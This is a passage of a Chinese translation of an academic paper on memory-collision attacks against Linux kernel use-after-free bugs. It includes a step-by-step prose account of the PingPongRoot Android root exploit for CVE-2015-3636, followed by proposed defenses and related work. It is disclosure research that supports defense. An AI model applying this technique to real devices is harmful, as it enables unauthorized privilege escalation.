本节我们将通过在 Linux 内核上装载的恶意内核模块来评估基于对象攻击和基于 physmap 攻击的表现,该恶意内核模块在第 2.1 节提到过。实验在 32 位和 64 位 Ubuntu 14.04 上进行,RAM 大小是 2GB。注意,在测试不同大小的对象做碰撞的基于对象攻击时,内核模块中的漏洞对象大小被设置为 576 字节,正如 3.3 节所述。

表 1 展示了在多个步骤均满足基本内存需要时,基于对象攻击和基于 physmap 攻击分别利用恶意模块攻陷内核的成功率。注意,类型 1 的基于对象攻击利用相同大小对象之间的内存碰撞,类型 2 的利用不同大小对象之间的内存碰撞。

Bildschirmfoto 2019-03-15 um 10.12.36 A

表 1 的实验结果表明,正如期望的那样,类型 1 的基于对象攻击要比类型 2 表现好。由于成功率低,类型 2 的攻击并不适合作为稳定的内核漏洞利用来使用。另外,64 位 Linux 平台的内存碰撞表现要差一些,因为内核内存布局引入了更多的熵。我们还可以看出,从使用的内存总量来看,基于 physmap 攻击消耗最多。它需要额外内存来做漏洞对象喷射并让它们分散地分配在内核空间中。

正如前面描述的那样,基于对象攻击会选择内核对象作为候选者去覆盖漏洞对象。然而,由于资源限制,一个用户不能在内核中创建太多内核对象。例如,一个用户只能创建一定数量的套接字连接,这意味着同一时间内在 sendmmsg 过程中创建的 kmalloc-size 缓冲区受到限制。因此,正如表 1 所示,基于对象攻击在进行内核喷射时的内存要求必须保证在一定范围,而这降低了该攻击的稳定性。

由于恶意内核模块中的漏洞对象大小是不变的,因此无论是基于对象攻击还是基于 physmap 攻击,在实验中都能够生效。下一节我们才会看到,基于 physmap 攻击的强大之处。

6.2 测试 Android 内核

本届我们将借助笔者在 Android 设备上发现的 UAF 漏洞(CVE-2015-3636)[4] 来评估内存碰撞攻击。我们利用这个漏洞开发了一个名为 PingPongRoot 的通用漏洞利用程序,它能够在包括 64 位在内的大多数流行设备上(Android 版本 >= 4.3)完成权限提升操作。

6.2.1 PingPongRoot

PingPongRoot 利用编号为 CVE-2015-3636 的 UAF 漏洞,该漏洞与内核中的一个 PING 套接字对象有关。通过指定 sa_family 参数为 AP_UNSPEC 并两次连接同一个 PING 套接字,该 PING 套接字对象的引用计数将变为 0,因此内核将释放它。然而,这会导致用户程序中出现一个与该 PING 套接字对象关联的悬挂文件描述符(这个漏洞只能在 Android 设备上触发。在 Linux PC 上,普通用户没有权限创建 PING 套接字)。因此,攻击者能够在用户程序中能对该文件描述符进行操作,让内核重用这个已释放的 PING 套接字对象,从而导致内核态代码执行。

在不同的设备上,存在漏洞的 PING 套接字对象大小不同,因此 PingPongRoot 采用基于 physmap 攻击,而非基于对象攻击,从而以高可靠性利用这个漏洞。我们将在有代表性的 Android 设备——Google Nexus 7 上进行漏洞利用,Android 系统版本为 Lollipop。攻击将按照第 4 节描述的步骤进行。首先,创建 D 个 PING 套接字做去碎片化工作。然后我们重复地按组进行 PING 套接字喷射。在每一组中,所有 N 个 PING 套接字会在新创建的进程中被分配。注意,所有这些 N 个套接字必须在另一个进程,而非当前进程中创建,这是因为每个进程都有资源限制。在这些进程结束分配工作后,它们将悬在那里,以防内核将这些 PING 套接字释放。接着,在当前进程中创建 M 个(M 远大于 N)PING 套接字。这些套接字是漏洞目标,稍后的内存碰撞就发生在它们和 physmap 之间。

根据第 4 节讲述的基于 physmap 攻击,所有 M 个 PING 套接字通过触发 UAF 漏洞来释放。然后终止我们在漏洞利用代码一开始创建的所有进程。这将使内核重用已终止进程的资源,因此所有的 N 个 PING 套接字将被内核分配器释放。

在这之后,重复调用 mmap。每个 mmap 在用户空间分配 256MB 内存。在 mmap 得到的内存每 8 个 四字中,第 7 个四字被重写为一个合法的用户空间地址。其余的所有四字全部重写为魔数。通过对那 M 个漏洞 PING 套接字带 SIOCGSTAMPNS 参数调用 ioctl,PING 套接字对象的 sk_stamp 成员能够从用户空间读到。我们通过检查它是否与预定义的魔数值相等来判断是否已经有 PING 套接字对象被 physmap 覆盖。如果这 M 个对象与 physmap 没有发生内存碰撞,回到漏洞利用代码的开始,分配更多组漏洞对象作为填充对象。否则的话,physmap 成功覆盖了一个漏洞内核对象,攻击将向下进行。

事实上,PING 套接字的第 7 个四字是它的 sk_prot 成员。这是一个用来存储 PING 协议特性的结构体,它有一个成员是函数指针,名为 close。当 PING 套接字在用户程序中被关掉时,这个函数指针将被调用。由于有漏洞的 PING 套接字对象已经被覆盖,第 7 个四字已经变为用户空间的虚拟地址。这意味着整个 sk_prot 已经被攻击者控制。伪造的 sk_prot 结构体中的函数指针已经被设置为放置在用户空间的内核 shellcode。接着,我们将对与漏洞对象关联的悬挂文件描述符调用 close。伪造函数指针将被调用,我们的 shellcode 将在内核上下文执行,从而实现 Android Lollipop 上的暂时性权限提升。

6.2.2 测试结果

我们的 PingPongROot 漏洞利用程序在成百上千个 Android 设备上实现了权限提升,表 2 给出了攻击的表现情况。

基于 physmap 攻击的通用性和可靠性能够由表 2 得到证明。首先,大多数市场上流行的 Android 设备,包括三星、索尼、谷歌 Nexus 系列、HTC、华为和小米都能够以很高成功率完成基于 physmap 攻击并获取 root 权限。注意,不同的手机和平板上存在漏洞的 PING 套接字对象的大小是不同的,但是我们的通用漏洞利用程序不必考虑这个问题。只有 RAM 大小影响到漏洞利用程序的一些设定。第二,攻击 64 位 Android 内核与攻击 32 位 Android 内核的漏洞利用程序使用的设定差别不是很大。实际上,基于 physmap 攻击被证实在 64 位 Android 内核上也有效果。总之,针对基于 Linux 的内核来说,基于 physmap 攻击是通用、强大的 UAF 漏洞利用方案。

Bildschirmfoto 2019-03-15 um 11.20.13 A

7. 防御内存碰撞攻击

基于 physmap 攻击的一个值得注意的优点是,它紧紧抓住了当前版本 Linux 内核的内在缺陷。考虑到直接映射是系统的基础特性,想要构建对抗基于 physmap 攻击的非常有效的漏洞缓解措施并不容易。下面我们提出两个值得考虑的用来防御此类攻击的思路。

7.1 限制 Physmap 内存使用

一个防御通过 physmap 进行内存碰撞的有效途径是限制系统中每个用户能够在 physmap 中使用的内存总量(百分比)。

对于一个特定用户来说,他所有要被 Linux 内核调度的活跃任务都被考虑进来。每个任务的那些位于用户态、被通过 physmap 直接映射进来的内存总量将被内核记录。当这个值到达接近核预定义的阈值时,之后任何进一步针对 physmap 的内存请求都将被内核拒绝,除非他的一些任务释放一些经由 physmap 映射的内存,从而使 physmap 对内存的总占用量小于阈值。

某种程度上来说,这种针对一个用户所有活跃任务的 physmap 占用的内存量的上界能够对抗经由 physmap 的内存碰撞。事实上,为了覆盖存储目标内核对象的 SLAB 缓存,大量内存需要被一个攻击者的活跃任务映射到用户空间中,并被之后用于攻击的数据喷射。然而由于内核预定义阈值的限制,这个目的不可能达到,physmap 也不可能到达目标 SLAB 缓存分配的相对较高的虚拟地址。

针对 physmap 占用量的限制必须是对每个用户,而非每个活跃任务设置。这是因为在攻击系统核心的时候,所有活跃任务都能够影响到内核内存。如果 physmap 占用量限制是针对每个活跃任务设置的,那么攻击者能够创建多个独立进程,每一个都受到总量限制,但是所有这些通过 physmap 映射的内存加起来的总量却足够覆盖包含目标漏洞对象的 SLAB 缓存,攻击者便可以绕过保护。因此,我们应该关注每个登录系统的用户拥有的所有活跃任务使用的内存总量。

正如上文所述,这个保护措施能够避免攻击者通过 physmap 实施内存碰撞攻击。攻击的有效性取决于预定义的阈值。低阈值能够提供更多的安全保护,产生的结果是用户程序能够直接映射的内存总量更少,因此在我们需要在 Linux 内核的效率与安全性之间找到平衡点。

7.2 完全隔离

通过 physmap 实施的内存碰撞攻击的主要诱因是来自用户程序直接映射的内存覆盖了曾存存储内核对象的空间,防御这种碰撞攻击的一个合理途径就是在 physmap 和 SLAB 缓存之间实施完全隔离机制。

内核指定固定范围的合适内存给 physmap。即使专用于 physmap 的一大块内存都是空闲的,SLAB 缓存也不可能被放在这个区域。类似地,physmap 也绝不可能扩展到曾存储内核对象的地方。该保护机制将在 physmap 区域和内核中分配对象的区域之间划出一条明确的边界。

很明显,这种防御碰撞攻击的保护措施是有效的,因为当它开启时,physmap 与目标漏洞对象之间根本没机会发生碰撞。然而,它很难被应用在 32 位 Linux 内核上,因为内核空间太小了,不能实现 physmap 与 SLAB 缓存之间的完全隔离。但是对于 64 位 Linux 内核来说,虚拟地址空间一定足够来实现完全分隔。毫无疑问,为了安全性,肯定免不了更多开销和空间浪费。

8. 相关工作

近些年,UAF 漏洞已经成为 PC 桌面和移动设备上最流行、最严重的应用程序漏洞。在 2013 年,微软 IE 浏览器一共曝出了 129 个 CVE 漏洞,其中绝大多数是 UAF 漏洞,到了 2014 年,这个数字已经上升到 243 [9]。由于各种各样缓解措施的存在 [34],栈溢出、堆溢出等其他漏洞的利用已经变得更加困难。通过利用 Web 浏览器或文档编辑器中的 UAF 漏洞,攻击者能够在应用程序上下文中执行任意代码,并最终远程控制你的电脑或手机。

在利用 UAF 漏洞时,关键步骤是重新占用已释放对象的内存 [29],即使用一些其他对象与漏洞对象进行内存碰撞。因此,在出发 UAF 漏洞之前,攻击者需要仔细、准确地安排进程的堆内存布局 [28],[32],[12]。

为了防御 UAF 漏洞,人们提出了许多保护和缓解措施来获得暂时的安全。许多保护机制引入了特殊的分配器。这是防御 UAF 漏洞利用的基本思路,它尽力阻止内存碰撞的发生,因此内存重用也不会发生,这样一来,UAF 漏洞就难以利用了。这样的保护措施包括 Cling [13] 和 DieHarder [23]。事实上,当今几乎所有流行的 Web 浏览器都有他们自己的分配器。如 Mac OSX 和 iOS 系统中 Safari 的 WebKit 内核使用的 Heap Arena [31],谷歌 Chrome 使用的 PartitionAlloc [8],Mozilla Firefox 使用的 Presentation ArenaFrame Poisoning [21] 及微软 IE 使用的 Isolated Heap [30]。然而,由于漏洞利用技术的快速发展,所有这些分配器在近些年的 Pwn2Own/Pwnium 黑客竞赛中都因为存在缺陷被击败过针对这些 Web 浏览器的相关攻击技术有针对 Safari 的 [15],针对 谷歌 Chrome 的 [5],针对 Mozilla Firefox 的 [16] 和针对 IE 的 [20],其中涉及了精心设计的堆布局、堆中对象的未对齐特性,还利用了这些私有分配器的独特之处。

其他防范 UAF 的保护措施还有基于对象处理和基于指针处理 [29]。前者在现实中被广泛应用于检测内存碰撞,具体实现有 AddressSanitizer [26] 和 Valgrind Memcheck [11],它们试图通过标记已释放内存来检测 UAF 漏洞。后者专注于通过判断将要使用的指针是否合法来检测 UAF 漏洞。这样的保护有 [22]、[19] 和 [33]。

相比之下,操作系统内核中的被发现的 UAF 漏洞更少,只有一些相关研究有文档记录 [24] [1]。考虑到对效率的需求,像内存标记或悬挂指针检测之类的保护措施将导致不可承受的开销,它们不可能被内核接受。然而,所有操作系统内核有他们自己独特的分配器。在 Linux 内核中是 SLAB/SLUB 分配器,它们提供了不同大小、不同类型对象之间的完美隔离。因此,要利用 Linux 内核中的 UAF 漏洞是困难的,几乎没有攻击内核堆的隔离性的漏洞利用技术被记录过。

另外,一些现有的针对用户应用程序概率上可靠的漏洞利用技术有 [27] 和 [14]。与我们的碰撞攻击一样,这些技术也利用了 Linux 内存管理的缺陷。

9. 总结

为了披露针对 Linux 内核 UAF 漏洞的通用利用方案、展示内存重用带来的安全威胁,本文构建了一个新的内存碰撞策略,展示了两种来自于这种策略的内存碰撞攻击——基于对象攻击和基于 physmap 攻击。这种攻击策略是广泛适用的,具有稳定性,能够完全绕过内核分配器的隔离措施,还能完全控制重新填充的数据,并且实践表明在 x86/64、AArch32/AArch64 和 Android Linux 上均有效。值得一提的是,本文详细讲述了通过基于 physmap 攻击利用 CVE-2015-3636 漏洞获得 root 权限的案例。最后,我们设计出两个开销尚可接受的漏洞缓解方案来对抗这种针对 Linux 内核的内存碰撞攻击。

10. 致谢

我们想要感谢评论人员,他们给出了帮助原稿改进的有价值评论。我们也要向 Shi Wu、James Fang、Siji Feng 和 Keen 团队的 Yubin Fu 表示感谢,他们给了我们很多鼓励,并为本文提到的通用 Android root 方案的开发和相关统计资料的准备做出了巨大贡献。

本工作部分地受到国家科技攻关计划(资助号:No. 2012BAH46B02)、国家自然科学基金(资助号:No. 2012ZX03002011)和上海科学技术委员会技术项目(资助号:No. 15511103002)资助。

参考文献